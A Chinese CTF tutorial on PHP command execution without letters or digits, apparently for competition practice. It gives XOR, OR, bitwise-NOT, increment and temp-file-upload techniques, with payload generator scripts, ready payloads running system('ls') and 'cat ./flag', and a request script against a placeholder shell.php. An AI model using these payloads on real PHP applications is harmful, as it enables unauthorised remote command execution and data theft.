CTF实战:PHP无字母数字命令执行的五种高阶绕过技法

在CTF竞赛中,代码执行类题目常常设置各种字符限制来考验选手的突破能力。当遇到过滤所有字母数字的正则表达式时,如何构造有效的payload成为解题关键。本文将深入剖析五种实用绕过技术,并提供可直接集成到解题工具链中的脚本实现。

1. 异或运算的艺术

异或(XOR)特性在于:当两个字符进行按位异或时,可能产生第三个有效字符。利用这个原理,我们可以通过非字母数字字符的组合构造出任意函数名和参数。

<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {
        // 十六进制转换处理
        $hex_i = $i<16 ? '0'.dechex($i) : dechex($i);
        $hex_j = $j<16 ? '0'.dechex($j) : dechex($j);
        
        // 过滤字母数字字符
        if(!preg_match('/[a-z0-9]/i', hex2bin($hex_i)) && !preg_match('/[a-z0-9]/i', hex2bin($hex_j))){
            $a = '%'.$hex_i;
            $b = '%'.$hex_j;
            $c = (urldecode($a) ^ urldecode($b));
            if (ord($c)>=32 && ord($c)<=126) {
                $contents .= $c." ".$a." ".$b."\n";
            }
        }
    }
}
fwrite($myfile,$contents);
fclose($myfile);

配套Python自动化脚本:

def action(arg):
    s1 = s2 = ""
    for i in arg:
        with open("xor_rce.txt","r") as f:
            while True:
                t = f.readline()
                if not t: break
                if t[0] == i:
                    s1 += t[2:5]
                    s2 += t[6:9]
                    break
    return f'("{s1}"^"{s2}")'

while True:
    func = action(input("\n[+] Function: "))
    cmd = action(input("[+] Command: "))
    print(func + cmd + ";")

实战技巧

  • 修改脚本中的正则表达式 /[a-z0-9]/i 以适配不同题目的过滤规则
  • 生成的payload示例: ("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b")

2. 或运算的巧妙应用

或(OR)运算与异或类似,但生成的字符范围更广。当异不可用时,或运算往往能提供额外可能性。

<?php
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {
        $hex_i = dechex($i);
        $hex_j = dechex($j);
        if(strlen($hex_i)==1) $hex_i = '0'.$hex_i;
        if(strlen($hex_j)==1) $hex_j = '0'.$hex_j;
        
        if(!preg_match('/[a-z0-9]/i', hex2bin($hex_i)) && !preg_match('/[a-z0-9]/i', hex2bin($hex_j))){
            $a = '%'.$hex_i;
            $b = '%'.$hex_j;
            $c = (urldecode($a) | urldecode($b));
            if (ord($c)>=32 && ord($c)<=126) {
                $contents .= $c." ".$a." ".$b."\n";
            }
        }
    }
}
fwrite($myfile,$contents);
fclose($myfile);

典型payload结构

("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");

3. 取反操作的终极绕过

取反(~)操作的优势在于完全使用不可见字符,几乎能绕过所有基于可见字符的过滤。

<?php
fwrite(STDOUT,'[+] Function: ');
$func = trim(fgets(STDIN));
fwrite(STDOUT,'[+] Command: ');
$cmd = trim(fgets(STDIN));
echo '[*] (~'.urlencode(~$func).')(~'.urlencode(~$cmd).');';

使用示例

Function: system
Command: ls
输出: (~%8C%86%8C%8B%9A%92)(~%93%8C);

4. 自增构造的奇技淫巧

通过PHP的类型转换和自增特性,可以从空数组开始构造出完整函数。

<?php
$_=[];
$_=@"$_"; // Array -> "Array"
$_=$_['!'=='@']; // 获取第一个字符 'A'
$___=$_; // A
$__=$_; // A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; 
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // A -> S
$___.=$__; // S
// 后续类似构造其他字符...

注意事项

  • 仅适用于PHP 7.0.12以下版本
  • 最终构造的是 assert($_POST[_]) 形式
  • 需要URL编码后使用

5. 临时文件上传的另类利用

当服务器允许文件上传时,即使内容被过滤,也可能通过临时文件实现代码执行。

import requests

url = "http://target.com/shell.php?code=?><?=`. /???/????????[@-[]`;?>"
files = {'file': 'cat /flag*'}
response = requests.post(url, files=files)
print(response.text)

关键点

  • 利用短标签 <?= ?> 执行命令
  • /???/???????? 匹配 /tmp/phpXXXXXX
  • [@-[] 确保匹配大写字母

6. 综合实战策略

在实际CTF比赛中,需要根据题目限制灵活组合多种技术:

技术 适用场景 优点 限制
异或 中度过滤 可控性强 需要生成字典
或运算 宽松过滤 组合多样 可能产生意外字符
取反 严格过滤 完全不可见 需要URL解码
自增 无字母需求 无需特殊字符 PHP版本限制
临时文件 有上传点 直接执行 需要特定环境

进阶技巧

  • 使用 ${_GET}{%86}() 形式绕过引号限制
  • 结合错误抑制符 @ 隐藏报错信息
  • 利用PHP的字符串解析特性,如 "$_GET[a]" 等效于 $_GET['a']

在最近的一场CTF比赛中,选手需要通过过滤了所有字母、数字和常见符号的检查。最终通过取反操作构造的payload成功获取了flag:

(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F);

这相当于执行了 system('cat ./flag') 。记住,在实战中要不断尝试不同方法,直到找到最适合当前环境的绕过方式。

更多推荐